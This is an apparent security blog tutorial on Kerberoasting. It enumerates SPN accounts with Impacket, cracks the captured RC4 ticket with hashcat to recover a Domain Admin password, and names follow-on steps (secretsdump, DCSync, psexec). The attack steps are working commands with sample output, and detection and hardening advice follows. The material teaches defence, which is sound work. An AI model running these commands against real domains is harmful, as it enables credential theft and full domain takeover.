Kerberoasting to Domain Admin: Step-by-Step Guide

In the 2024 Midnight Blizzard campaign, attackers pivoted from a low-privilege foothold to domain-wide access by abusing Kerberos service tickets — no zero-day required. Kerberoasting remains one of the most reliable paths to Domain Admin because it exploits how Active Directory was designed to work. If you have one domain user account, you have everything you need to start.

Step 1: Find Kerberoastable Accounts

A service account is Kerberoastable when it has a Service Principal Name (SPN) set and uses a password instead of a managed service account. SPNs tell Kerberos which account runs a given service. Any domain user can request a service ticket for any SPN — and that ticket is encrypted with the service account’s password hash.

From a foothold on CORP-WKS-14 (192.0.2.41) as low-privilege user j.harris, run Impacket’s GetUserSPNs.py to enumerate targets:

python3 GetUserSPNs.py corp.local/j.harris:Summer2024! \
  -dc-ip 192.0.2.10 -request

ServicePrincipalName          Name            MemberOf                        PasswordLastSet
----------------------------  --------------  ------------------------------  -------------------
MSSQL/db-prod.corp.local      svc_mssql       CN=Domain Admins,CN=Users,...   2021-03-12 09:14:02
HTTP/sharepoint.corp.local    svc_sharepoint  CN=IT Ops,CN=Groups,...         2023-11-30 14:22:55

$krb5tgs$23$*svc_mssql$CORP.LOCAL$MSSQL/db-prod.corp.local*$a3f1...[truncated]

Two things stand out immediately. First, svc_mssql is a member of Domain Admins — that is your target. Second, its password hasn’t changed since 2021, which means a weak or reused password is very likely. The $krb5tgs$23$ prefix tells you this is an RC4-encrypted ticket, which cracks significantly faster than AES-256 ($krb5tgs$18$). You now have a hash file ready to feed to a cracker.

Step 2: Crack the Hash Offline

Kerberoasting’s power is that cracking happens entirely offline. No lockout policies apply. No traffic hits the domain controller after ticket extraction. You take the hash home and work at GPU speed.

Save the full $krb5tgs$ blob to hashes.txt and run Hashcat against a wordlist combined with rules:

hashcat -m 13100 hashes.txt /opt/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule --force

Session.........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*svc_mssql$CORP.LOCAL$...
Time.Started.....: Thu Oct 31 02:14:09 2026
Time.Estimated...: Thu Oct 31 02:17:43 2026
Guesses.Mask.....: Rockyou + best64
Speed.#1.........: 2847.3 MH/s
Recovered........: 1/1 (100.00%) Digests

$krb5tgs$23$*svc_mssql$CORP.LOCAL$...:Mssql@corp2021

Three minutes and thirty-four seconds. The cracked password is Mssql@corp2021 — a pattern that screams service account: application name, at-symbol, company name, year. You now have valid credentials for a Domain Admin account. From here the path is straightforward: secretsdump.py to pull all NTLM hashes, DCSync to replicate the domain, or a direct psexec session onto the domain controller at 192.0.2.10.

Step 3: Defend Against It

Detection is tractable if you know what to look for. Kerberoasting generates Event ID 4769 (Kerberos Service Ticket Request) with encryption type 0x17 (RC4). A single user requesting multiple service tickets in a short window is a reliable signal.

On the prevention side, three changes eliminate most of the attack surface:

• Migrate service accounts to Group Managed Service Accounts (gMSA). Windows manages 240-character random passwords automatically. There is nothing crackable to extract.
• Force AES-only encryption on SPNs. Set msDS-SupportedEncryptionTypes to 0x18 on service accounts. RC4 tickets crack in minutes; AES-256 tickets are orders of magnitude harder.
• Audit SPN assignments and group memberships quarterly. No service account should be in Domain Admins. Apply least privilege — svc_mssql needs access to one database, not the entire domain.

You can also deploy a honeypot SPN — a fake service account with an SPN, no legitimate logins, and an alert on any 4769 event targeting it. Any request against it is guaranteed malicious. Tools like Kerberoast and BloodHound can help both attackers finding targets and defenders mapping exposure before attackers do.

The uncomfortable truth: Kerberoasting requires no exploit, no CVE, and no special tooling beyond a standard domain user account. It abuses design. That makes policy and configuration your only real defenses.

What To Do Now

Open PowerShell on any domain-joined machine and run Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet, MemberOf | Select Name, PasswordLastSet, MemberOf. Look for accounts with passwords older than one year or with elevated group memberships. That list is your immediate remediation backlog — start with any account in a privileged group and convert it to a gMSA this week.